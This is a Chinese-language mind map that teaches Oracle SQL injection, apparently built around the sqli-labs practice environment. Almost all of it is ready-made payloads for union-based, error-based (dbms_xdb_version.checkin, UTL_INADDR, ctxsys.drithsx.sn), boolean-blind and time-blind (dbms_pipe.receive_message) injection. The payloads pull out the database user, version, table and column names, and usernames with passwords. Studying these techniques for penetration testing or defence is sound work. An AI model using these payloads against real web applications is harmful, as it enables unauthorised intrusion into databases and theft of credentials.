导图社区 3、ORACLE注入讲解
这是一篇关于3、ORACLE注入讲解的思维导图,主要内容介绍了union注入,报错注入,布尔盲注,以及时间盲注着几个部分。
编辑于2023-02-08 16:17:40 重庆ORACLE注入讲解
union注入
oracle介绍
oracle通常是和jsp页面配合使用
关系型数据库
实验环境介绍
php+oracle
sqli-labs
union注入流程
1、判断注入类型
字符型 无论输入1=1还是1=2页面都会报错
数字型 输入1=1页面正常 输入1=2页面不返回数据
2、判断前面查询列数
order by
3、判断字符类型及返回位置
?id=1' union select null,null,null from dual --+ 步骤一:检查是否返回正常
?id=1' union all select null,'null','null' from dual --+ 步骤二:通过逐个对null使用单引号后,看页面是否正常返回,判断字符类型
4、基本信息判断
?id=0' union select 1,'2',(select banner from sys.v_$version where rownum=1) from session_roles--+ 判断当前数据库版本
?id=0' union select 1,'2',(select user from dual) from session_roles--+ 判断当前数据库版本
5、获取表名
使用wm_concat
?id=0' union select 1,'2',(select wm_concat(table_name) from user_tables) from dual--+
使用排除法
0' union select 1,'2',(select table_name from user_tables where rownum=1) from session_roles--+ 步骤一:注入获得一行信息
?id=0' union select 1,'2',(select table_name from user_tables where rownum=1 and table_name not in ('EMAILS')) from session_roles--+ 利用大于和小于使得回显内容不包含emails
6、获取列名
使用wm_concat
0' union select 1,'2',(select wm_concat(column_name) from user_tab_columns where table_name='USERS') from dual--+
使用排除法
子主题
7、获取用户数据
使用wm_concat
?id=0' union select 1,'2',(select wm_concat(username ||'~' ||password) from USERS) from dual--+
使用排除法
报错注入
函数
dbms_xdb_version.checkin()函数
属于dbms_xdb_version下的checkin功能。此功能检入签出的VCR并返回新创建的版本的资源ID。
语法 DBMS_XDB_VERSION.CHECKIN( pathname VARCHAR2) RETURN DBMS_XDB.resid_type;
pathname 签出资源的路径名。
dbms_xdb_version.uncheckout()函数
用法与checkin一致,payload:and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null
dbms_xdb_version.makeversioned()函数
用法与checkin一致,payload:and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null
dbms_utility.sqlid_to_sqlhash()函数
用法与checkin一致,payload:and (select dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null
UTL_INADDR.get_host_name()函数
and (select UTL_INADDR.get_host_name((select user from dual)) from dual) is%20 not null--
可以显示所有内容
UTL_INADDR.get_host_address()函数
' and (select UTL_INADDR.get_host_name('~'||(select user from dual)||'~') from dual) is%20 not null--
可以显示所有内容
ordsys.ord_dicom.getmappingxpath()
(select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual) is%20 not null--
可以显示所有内容
ctxsys.drithsx.sn()函数
此函数去查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)语法为: and 1=ctxsys.drithsx.sn(1,(select user from dual))--
XMLType()函数
and (select XMLType('<:'||(select user from dual)||'>') from dual) is%20 not null--
一次仅能显示一行,就算用wm_concat()也不行
注入手法
收集信息
获取连接用户 and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null
获取版本信息 id=1' and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null--+
获取表名
?id=1' and (select dbms_xdb_version.checkin((select wm_concat(table_name) from user_tables)) from dual) is not null--+
获取列名
?id=1' and (select dbms_xdb_version.checkin((select wm_concat(column_name) from user_tab_columns where table_name='USERS')) from dual) is not null--+
获取用户数据
?id=1' and (select dbms_xdb_version.checkin((select wm_concat(username ||'~' ||password) from USERS)) from dual) is not null--+
布尔盲注
函数
ascii()
substr()
xxx not in('xxx')
rownum=1
布尔盲注方法
盲注表名
盲注第一个表名
盲注第一个表名第一个字母 1' and ascii(substr((select table_name from user_tables where rownum=1),1,1))>=85--
盲注第一个表名第二个字符 ?id=1' and ascii(substr((select table_name from user_tables where rownum=1),2,1))>82--
盲注第二个表名
第二个表名第一个字母 ?id=1' and ascii(substr((select table_name from user_tables where rownum=1 and table_name not in ('USERS')),1,1))>=69--
盲注列名
查询第一个列名
查询第一个列名第一个字母 ?id=1' and ascii(substr((select column_name from user_tab_columns where rownum=1),1,1))>=73--
查询第一个列名第二个字母 ?id=1' and ascii(substr((select column_name from user_tab_columns where rownum=1),2,1))>=68--
查询第二个列名
查询第二个列名第一个字母 ?id=1' and ascii(substr((select column_name from user_tab_columns where rownum=1 and column_name not in ('ID')),1,1))>=69--
盲注数据
?id=1' and ascii(substr((select username||':'||password from USERS where rownum=1),1,1))>=98--
时间盲注
判断是否存在盲注
and 1=dbms_pipe.receive_message('benben', 3)-- 判断是否存在时间盲注
case when二分法
函数
case when a='1' then '延迟某个时间' else '延迟另外一个时间' end as
dbms_pipe.receive_message('ben',1)
信息收集
获取当前用户 ?id=1' and 1=(select case when ascii(substr((select user from dual),1,1))>=83 then dbms_pipe.receive_message('ben',1) end case from dual)--+
获取表名
获取第一个表名
获取第一个字母 ?id=1' and 1=(select case when ascii(substr((select table_name from user_tables where rownum=1),1,1))>=85 then dbms_pipe.receive_message('ben',1) end case from dual)--+
获取第二个字母 ?id=1' and 1=(select case when ascii(substr((select table_name from user_tables where rownum=1),2,1))>=83 then dbms_pipe.receive_message('ben',1) end case from dual)--+
decode 比较法
函数指令
DECODE(value,if1,then1,if2,then2,if3,then3,...,else) 表示如果value等于if1时,DECODE函数的结果返回then1,...,如果不等于任何一个if值,则返回else。
注入语句
?id=1' and 1=(select decode(substr(user,1,1),'R',dbms_pipe.receive_message('ctfstu',1),0) from dual) --+
字符概率
高等教育出版社 李贤平 卞国瑞 吴立鹏 《概率论与数理统计简明教程》 space 0.2 ; E 0.105 ; T 0.072 ; O 0.0654 ; A 0.063 ; N 0.059 ; I 0.055 ; R 0.054 ; S 0.052 ; H 0.047 ; D 0.035 ; L 0.029 ; C 0.023 ; U 0.0225 ; M 0.021 ; P 0.0175 ; Y 0.012 ; W 0.012 ; G 0.011 ; B 0.0105 ; V 0.008 ; K 0.003 ; X 0.002 ; J 0.001 ; Q 0.001 ; Z 0.001